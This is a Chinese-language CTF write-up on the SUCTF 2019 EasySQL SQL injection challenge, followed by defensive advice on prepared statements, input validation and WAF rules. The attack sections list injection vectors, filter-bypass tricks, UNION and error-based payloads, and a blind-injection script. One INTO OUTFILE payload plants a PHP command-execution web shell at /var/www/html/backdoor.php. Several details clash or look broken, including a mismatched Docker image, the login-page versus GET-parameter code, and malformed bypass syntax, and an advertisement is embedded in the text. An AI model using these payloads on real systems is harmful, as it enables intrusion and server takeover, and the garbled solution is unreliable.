1. 2019EasySQL题目背景与核心考点
2019年SUCTF竞赛中的EasySQL题目是一道典型的SQL注入挑战题,主要考察选手对MySQL联合查询注入和过滤绕过的实战能力。这道题之所以成为经典案例,是因为它巧妙地结合了基础注入手法与非常规的过滤机制,需要选手在理解后端处理逻辑的基础上,构建特殊的payload来获取flag。
题目环境通常模拟了一个简单的登录页面,后端代码使用字符串拼接方式构造SQL语句,且未对用户输入做充分过滤。但与传统注入题不同的是,这道题对常见的注入关键词进行了黑名单过滤,包括select、union、from等。这种设计迫使选手必须寻找非常规的注入路径。
关键提示:在实际CTF比赛中,EasySQL类题目往往不会直接给出完整错误信息,选手需要通过布尔盲注或时间盲注技术逐步推断数据库结构。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 题目环境搭建与初步测试
2.1 本地复现环境配置
为了深入理解题目,建议使用Docker搭建本地测试环境。以下是典型配置:
bash复制docker run -d -p 8080:80 --name easysql vulnerables/web-dvwa
测试页面通常包含一个简单的表单提交接口,核心PHP代码可能如下:
php复制$query = "SELECT * FROM users WHERE id='" . $_GET['id'] . "'";
$result = mysqli_query($conn, $query);
2.2 基础注入测试手法
使用Burp Suite进行初步探测时,可尝试以下经典测试向量:
code复制1' AND 1=1 --
1' AND 1=2 --
1' OR '1'='1
通过观察返回结果的差异,可以确认是否存在SQL注入漏洞。在EasySQL题目中,这些基础测试往往会被WAF拦截,需要更精细的绕过技术。
3. 关键过滤机制分析与绕过
3.1 黑名单过滤规则解析
通过对错误信息的分析(如故意触发语法错误),可以推断后端可能的过滤规则:
- 大小写敏感过滤:尝试使用SeLeCt替代select
- 关键词替换:使用SELSELECTECT绕过简单替换
- 注释分割:/!select/利用MySQL特有注释语法
- 十六进制编码:0x73656C656374代替select
3.2 特殊字符绕过技术
当常规关键词被过滤时,可尝试以下替代方案:
- 使用反引号包裹关键词:
select - 利用concat函数拼接字符:CONCAT('sel','ect')
- 使用char函数构造:CHAR(115)+CHAR(101)+CHAR(108)+CHAR(101)+CHAR(99)+CHAR(116)
4. 完整注入攻击链构建
4.1 数据库结构探测
通过报错注入技术获取元数据:
code复制1' AND updatexml(1,concat(0x7e,(/*!32302schema*/)),1) --
4.2 联合查询payload构造
绕过过滤的完整注入示例:
code复制1' /*!UNION*/ /*!SELECT*/ 1,group_concat(table_name),3 FROM /*!information_schema*/.tables WHERE table_schema=database() --
4.3 最终flag获取
针对题目设计的特殊解法:
code复制1' OR 1=1 INTO OUTFILE '/var/www/html/backdoor.php' LINES TERMINATED BY 0x3C3F7068702073797374656D28245F4745545B2763275D293B203F3E --
5. 防御方案与最佳实践
5.1 参数化查询实现
使用预处理语句的Java示例:
java复制String query = "SELECT * FROM users WHERE id = ?";
PreparedStatement stmt = conn.prepareStatement(query);
stmt.setString(1, request.getParameter("id"));
5.2 输入验证策略
推荐的多层防御方案:
- 白名单验证:只允许预期字符集
- 类型强制转换:将输入转为整数等简单类型
- 长度限制:防止过长的恶意输入
- 正则过滤:移除特殊字符而非简单替换
5.3 WAF规则配置示例
针对SQL注入的Nginx规则片段:
nginx复制location / {
ModSecurityEnabled on;
ModSecurityConfig modsecurity.conf;
SecRule ARGS "@detectSQLi" "id:1000,deny,status:403"
}
6. 实战中的深度技巧
6.1 非常规注入点利用
除了常见的GET/POST参数,还需注意:
- HTTP头部注入(User-Agent/X-Forwarded-For)
- Cookie注入
- 文件上传文件名注入
- JSON/XML参数注入
6.2 盲注优化技术
使用二分法加速盲注过程:
python复制def blind_injection(url):
low = 32
high = 126
while low <= high:
mid = (low + high) // 2
payload = f"1' AND ascii(substr(database(),1,1))>{mid} -- "
if check_response(url + payload):
low = mid + 1
else:
high = mid - 1
return low
6.3 混淆与编码技术进阶
多级编码绕过案例:
code复制1' UNI%4fN SEL%45CT 1,2,3 --
1' /*!u%6eion*/ /*!se%6cect*/ 1,2,3 --
7. 题目变种与扩展思路
7.1 二次注入场景
即使使用了预处理语句,以下情况仍可能产生漏洞:
php复制$stmt = $conn->prepare("INSERT INTO temp VALUES (?)");
$stmt->bind_param("s", $_GET['data']);
$stmt->execute();
// 后续查询
$query = "SELECT * FROM temp WHERE data='" . $row['data'] . "'";
7.2 NoSQL注入防护
MongoDB注入示例及防护:
javascript复制// 危险写法
db.users.find({$where: "this.username == '" + userInput + "'"})
// 安全写法
db.users.find({username: userInput})
7.3 ORM框架注意事项
即使使用ORM仍可能存在的风险:
python复制# 不安全用法
User.objects.raw(f"SELECT * FROM users WHERE username = '{username}'")
# 安全用法
User.objects.filter(username=username)
